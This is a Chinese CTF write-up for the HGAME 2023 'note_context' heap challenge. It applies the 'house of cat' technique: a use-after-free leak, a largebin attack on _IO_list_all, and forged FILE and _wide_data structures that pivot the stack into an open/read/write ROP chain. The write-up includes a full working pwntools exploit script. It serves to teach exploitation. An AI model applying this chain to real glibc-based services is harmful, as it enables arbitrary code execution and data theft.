House of cat
[[HGAME 2023 week3]note_context | NSSCTF]
这里只用house of cat 来打,其他方法也可以
法一:FSOP触发
调用链:
__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
分析:
这个程序是保护全开,然后还过滤了execve和execveat这类函数,可以考虑ORW
对于add函数只能申请大于0x4ff和小于0x900的chunk
漏洞点:
这里存在 UAF漏洞
利用过程:
泄露libc和heap:
add(0,0x500)
add(1,0x500)
free(0)
add(2,0x510)
add(0,0x500)
show(0)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
libc_base = main_arena-0x1e3ba0
io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
io_list_all = libc_base+libc.sym['_IO_list_all']
setcontext = libc_base+libc.sym['setcontext']
ret = libc_base+0x0000000000026699
pop_rdi = libc_base+0x000000000002858f
pop_rsi = libc_base+0x000000000002ac3f
pop_rdx_r12 = libc_base+0x0000000000114161
leak("libc_base",libc_base)
edit(0,b"a"*16)
show(0)
heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
leak("heap_base",heap_base)
add(3,0x500)
add(4,0x500)
首先创建两个chunk,free掉chunk0后,chunk0进入unsortedbins ,然后申请一个0x510大小的chunk2,因为0x510大于0x500,导致chunk0进入largebins ,如下图:
然后把largebin里面的chunk0申请回来,因为申请回来后chunk0中还是保留了main_arena+1168和heap的地址,泄露libc和heap地址
,之后再申请两个chunk为后续操作做准备。
first largebin attack:
free(2)
add(5,0x520)
edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
free(0)
add(6,0x520)
利用largebin attack 在**_IO_list_all处写入一个堆地址,这里写入的堆地址是chunk0。(这里版本大于libc.2.31**,所以只能写入一个堆地址)
构造fake IO_list_all:
IO_wide_date_chunk = heap_base+0x16e0+0x10
fake_io_file = p64(0)*2
fake_io_file += p64(0)+p64(1)+p64(0)
fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
fake_io_file += p64(IO_wide_date_chunk)
fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
fake_io_file += p64(1)
fake_io_file += p64(0)*2
fake_io_file += p64(io_wfile_jumps+0x30)
edit(0,fake_io_file)
这里编辑chunk0后伪造假的_IO_list_all。
这里利用第二个判断进行FSOP,如果使用第一个判断后续我们无法控制rcx的值导致进入_IO_wfile_seekoff后mode为0.
利用第二个判断后,在进入到 IO_wfile_seekoff函数之前, 这里对rcx进行了赋值。用的是**(_IO_wide_data_2+24)即 _IO_wide_data_2中的 _IO_write_base字段的值,在这前面的部分都没有对rcx赋值,且在进入_IO_flush_all_lockp函数是rcx的值为0**。
这里把rcx赋值为1后,进入_IO_wfile_seekoff 后把mode赋值为一绕过mode==0的限制
伪造 fake _wide_data:
Stack_migration_chunk = heap_base+0x1bf0+0x10
fake_wide_date = p64(0)*3
fake_wide_date += p64(1) #write_base
fake_wide_date += p64(IO_wide_date_chunk) #set rdx write_ptr
fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
fake_wide_date += p64(ret)
fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable
edit(4,fake_wide_date)
这样构造的原因是:
在进入 _IO_wfile_seekoff 函数后 使得 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp) 成立 即可进入 _IO_switch_to_wget_mode 函数。
_IO_wfile_seekoff函数的源码如下:
off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0) // 要绕过这个判断 mode 不能为 0
return do_ftell_wide(fp);
/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值
/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数,传入的第一个参数是当前的FILE
return WEOF;
_IO_switch_to_wget_mode函数的源码如下:
函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数,并传入当前FILE地址,所以rdi是fp的地址。仔细看,这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可
int _IO_switch_to_wget_mode(FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF) #主要看这里
return EOF;
if (_IO_in_backup(fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;
fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;
fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}
这里重点观察 _IO_switch_to_wget_mode 的汇编代码:
因为后面我们要打栈迁移 ,要用setcontext函数,而libc2.29以后setcontext函数由rdx来给各个寄存器传参
为了栈迁移我们只需要控制 rsp即可,但是后面有个push rcx 我们还要把rcx设置为ret的地址。
所以综上的分析,我们把 :
-
write_base 设置为 1 绕过mode==0的限制
-
write_ptr 设置为 fp->_wide_data 一样的值,既能绕过 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 又能把 这个值赋值给 rdx
-
然后再 fp->_wide_data 0xa0偏移处设置 栈迁移的 rsp值 ,把栈迁移到我们想要的位置
-
fp->_wide_data 0xa8 处放一个ret的地址 ,因为push rcx后会把rcx压入栈,这个值必须是ret
-
fp->_wide_data 0xe0 处放要迁移的地址,并且这个地址+0x18处是 setcontext+61的地址
ORW
open_file_chunk_addr = heap_base+0x2120+0x10 #chunk 6
edit(6,b"flag"+p32(0))
ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
payload = p64(0)*3+p64(setcontext+61)+ROP
edit(5,payload)
# gdb.attach(io,'b *_IO_wfile_seekoff')
Exit()
这里向栈迁移处的地址内写入 我们的 payload。来打orw
完整exp:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./vuln"
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.32.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ---------------->>>: {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def add(idx,size):
sla(b">",b"1")
sla(b"Index: ",str(idx))
sla(b"Size: ",str(size))
def free(idx):
sla(b">",b"2")
sla(b"Index: ",str(idx))
def edit(idx,data):
sla(b">",b"3")
sla(b"Index: ",str(idx))
ru(b"Content: ")
s(data)
def show(idx):
sla(b">",b"4")
sla(b"Index: ",str(idx))
def Exit():
sla(b">",b"5")
def pwn():
#==========leak
add(0,0x500)
add(1,0x500)
free(0)
add(2,0x510)
add(0,0x500)
show(0)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
libc_base = main_arena-0x1e3ba0
io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
io_list_all = libc_base+libc.sym['_IO_list_all']
setcontext = libc_base+libc.sym['setcontext']
ret = libc_base+0x0000000000026699
pop_rdi = libc_base+0x000000000002858f
pop_rsi = libc_base+0x000000000002ac3f
pop_rdx_r12 = libc_base+0x0000000000114161
leak("libc_base",libc_base)
edit(0,b"a"*16)
show(0)
heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
leak("heap_base",heap_base)
add(3,0x500)
add(4,0x500)
#======== largebin attack
free(2)
add(5,0x520)
edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
free(0)
add(6,0x520)
#======= fake IO_list_all
IO_wide_date_chunk = heap_base+0x16e0+0x10
fake_io_file = p64(0)*2
fake_io_file += p64(0)+p64(1)+p64(0)
fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
fake_io_file += p64(IO_wide_date_chunk)
fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
fake_io_file += p64(1)
fake_io_file += p64(0)*2
fake_io_file += p64(io_wfile_jumps+0x30)
edit(0,fake_io_file)
#========fake _wide_data
Stack_migration_chunk = heap_base+0x1bf0+0x10
fake_wide_date = p64(0)*3
fake_wide_date += p64(1) #write_base
fake_wide_date += p64(IO_wide_date_chunk) #rdx
fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
fake_wide_date += p64(ret)
fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable
edit(4,fake_wide_date)
#========= ROP
open_file_chunk_addr = heap_base+0x2120+0x10 #chunk 6
edit(6,b"flag"+p32(0))
ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
payload = p64(0)*3+p64(setcontext+61)+ROP
edit(5,payload)
# gdb.attach(io,'b *_IO_wfile_seekoff')
Exit()
itr()
if __name__ == "__main__":
while True:
io = process(pwnfile)
try:
pwn()
except:
io.close()